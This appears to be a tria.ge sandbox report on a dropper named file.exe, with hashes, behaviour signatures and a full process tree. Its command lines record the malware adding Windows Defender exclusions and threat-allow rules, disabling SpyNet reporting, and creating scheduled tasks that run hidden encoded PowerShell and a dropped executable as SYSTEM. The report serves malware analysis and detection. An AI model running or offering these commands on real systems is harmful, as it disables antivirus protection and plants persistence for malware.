Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    123s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2022, 03:29

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    5e84e10d5c27e0720def6695c6df0d4e

  • SHA1

    2cd1c47997de3dce1bb27e99f209b8ecd1849097

  • SHA256

    a5a85d00cdf09a5c1a0b3ba436eaa744a367d2b69f0e7721bc31b6df3a36e03b

  • SHA512

    f04cef1b6c8c7f9a0b1acb86b7adf5ef5a6968b9a8f64f0afa0b146c19414a5867066d98b4dd109c9c0104618ffc1af7e11e5574ae04e1ea7353ea3d53a8ba09

  • SSDEEP

    196608:91OlVN7n+AhipoZhJczBp1M7eIecZDYP69MSSqR/F8WIQSLO/lC:3OlVNhIMe1c5K69MDfzdO/lC

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Users\Admin\AppData\Local\Temp\7zSDF78.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5004
      • C:\Users\Admin\AppData\Local\Temp\7zSE340.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:5040
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4220
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1948
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:2388
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:228
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2968
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2808
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:256
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:3736
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gYILadlCQ" /SC once /ST 01:38:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:2852
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gYILadlCQ"
                  4⤵
                    PID:5076
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gYILadlCQ"
                    4⤵
                      PID:2616
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bcmBoHFysFBidtSprQ" /SC once /ST 04:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\AFzekPlfQCDUbED\jYDQMrQ.exe\" RP /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:2052
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2360
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:1284
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:4312
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:2956
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2404
                      • C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\AFzekPlfQCDUbED\jYDQMrQ.exe
                        C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\AFzekPlfQCDUbED\jYDQMrQ.exe RP /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:4432
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2620
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1932
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:2188
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4588
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3080
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:1064
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4384
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4956
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4040
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:5012
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1600
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4980
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2312
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1384
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:224
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1060
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:64
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1948
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:2808
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:2160
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2448
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:2452
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:2968
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1268
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:5032
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4920
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LJVhNoouCIYvC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LJVhNoouCIYvC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cdLvKHOLDZopLOAbkDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cdLvKHOLDZopLOAbkDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fFIwvsLyPfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fFIwvsLyPfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nNTpTrwDNnPU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nNTpTrwDNnPU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xPPqLUFFU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xPPqLUFFU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\STCeEXnoOCFBHvVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\STCeEXnoOCFBHvVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dZAkCesbbUKSZxso\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dZAkCesbbUKSZxso\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3100
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LJVhNoouCIYvC" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:4228
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LJVhNoouCIYvC" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:456
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LJVhNoouCIYvC" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:5088
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cdLvKHOLDZopLOAbkDR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3184
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cdLvKHOLDZopLOAbkDR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:2360
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fFIwvsLyPfUn" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:1632
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fFIwvsLyPfUn" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2480
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nNTpTrwDNnPU2" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4528
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nNTpTrwDNnPU2" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:852
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xPPqLUFFU" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:2696
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xPPqLUFFU" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4484
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\STCeEXnoOCFBHvVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4804
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\STCeEXnoOCFBHvVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3888
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4992
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pNGCAFJFsZdszXlNr /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2456
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dZAkCesbbUKSZxso /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4404
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dZAkCesbbUKSZxso /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3472
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "glnTuyTwp" /SC once /ST 00:48:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:3388
